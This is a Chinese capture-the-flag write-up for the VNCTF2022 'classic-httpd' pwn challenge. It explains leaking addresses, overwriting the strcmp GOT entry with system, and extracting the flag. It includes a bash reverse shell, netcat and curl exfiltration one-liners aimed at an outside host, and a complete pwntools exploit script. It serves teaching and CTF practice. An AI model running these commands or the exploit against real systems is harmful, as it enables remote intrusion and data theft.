VNCTF2022Pwn题WP

通过classic-httpd学习入门httpd-pwn

classic-httpd

题目是64位elf,保护为Partial RELO,意味着got表可写,其他保护全开。

初步分析

一般httpd程序的执行流程为

  1. 在main函数中用pthread或fork来进入HTTP请求处理函数
  2. 在HTTP请求处理函数中,过滤掉不合法的请求协议(通常只接受GET/POST)和请求目录(通常过滤掉含有”..”的url,使我们不能访问xxx.com/../flag 来直接读取flag)
  3. 根据请求url,跳转到对应的cgi函数或文件读取函数

程序只有3个可以访问的路径,/htdocs/index.html/htdocs/welcome.cgi/htdocs/submit.cgi,前两个路径都只会返回/htdocs/index.html文件内容,我们重点分析第三个cgi

经过逆向,我们发现submit.cgiGET方式接受一个base64加密后的字符串,字符串原文必须类似以下结构

int num;
struct payload
{
    int code;
    int arg[6];

}payloads[8];

结构体中code决定走向哪一个功能分支,我们发现有输出功能、泄露制定地址功能、任意地址内容泄露功能、任意地址写功能以及一个输出功能,并且功能的使用顺序有一定的限制。

利用思路

我们先创建/htdocs/index.html来保证程序能够正常运行。 不难想到通过指定地址泄露功能来拿到pie地址,再通过任意地址内容泄露功能打印出got表内容来泄露libc基地址,如果为传统pwn,我们就可以任意地址写修改hookone_gadget或修改got表来运行system("cat flag")拿flag走人,但别忘了在httpd-pwn中,我们与程序的交互有socket的隔阂,我们只能获取到程序通过socket发送的内容,程序的输出对我们来说并不可见。

反弹flag方法

既然我们在socket语境下,那我们也用socket的方法解决问题。 首先我们需要控制程序流,我们注意到在输出功能中有一个strcmp函数以用户输入的字符串为参数,那我们就可以修改其为system函数来执行命令,我们就可以尝试反弹shell、反弹flag、写flag进文件的方法了。

  • 反弹shell
    1. 首先我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令nc -lvp 4444
    2. 在受害者的电脑上运行命令bash -i >& /dev/tcp/1.1.1.1/4444 0>&1,在此题语境下为执行system("bash -i >& /dev/tcp/1.1.1.1/4444 0>&1");(下略)
    3. 我们可以看到服务器上出现了受害者的shell,cat flag即可
  • 反弹flag到nc
    1. 我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令nc -lvp 4444
    2. 在受害者的电脑上运行命令cat flag|nc 1.1.1.1 4444
    3. 服务器上接收到flag
  • 反弹flag到http服务器
    1. 我们依然需要一台公网服务器并有一个http服务器运行在80端口,ip假定为 1.1.1.1
    2. 执行 curl http://1.1.1.1/`cat flag` (注意命令中的反引号)

    3. 登录服务器,查看日志,获取flag
  • 写flag到文件
    1. 直接执行cat flag > /htdocs/index.html
    2. 正常访问/htdocs/index.html即可 程序在docker环境里一般没有写权限,所以这种方法成功率并不高

利用命令执行拿flag的方法还有很多,这里就不一一细举了,具体使用需要依赖题目环境等,希望能对刚刚接触http-pwn的读者有所启发。

完整exploit

from pwn import *
import base64
import requests
context(arch='amd64',os='linux',log_level='debug')

elf=ELF('./httpd')
libc=ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')

url='http://localhost:4000/submit.cgi'

def make(con):
    return base64.b64encode(con)

payload=p32(1)+p32(102)+p32(0)
s=requests.get(url,params=make(payload))
res=s.text
print(res)
pie=int(res[27:39],16)-0x4008
print("[+]pie->"+hex(pie))

payload=p32(1)+p32(136)+p64(pie+elf.got['printf'])+p64(0)
s=requests.get(url,params=make(payload))
res=s.text
print(res)

libc_base=int(res[40:52],16)-libc.sym['printf']

print("[+]libc_base->"+hex(libc_base))

shell=b'curl http://xx.xx/`cat flag`'
payload=p32(2)+p32(241)+p64(pie+elf.got['strcmp'])+p64(0)+p64(libc_base+libc.sym['system'])+p32(34)+shell
s=requests.get(url,params=make(payload))
res=s.text
print(res)

Tips

泄露远程libc版本后,可以使用glibc-all-in-one下载带符号表的libc文件帮助调试。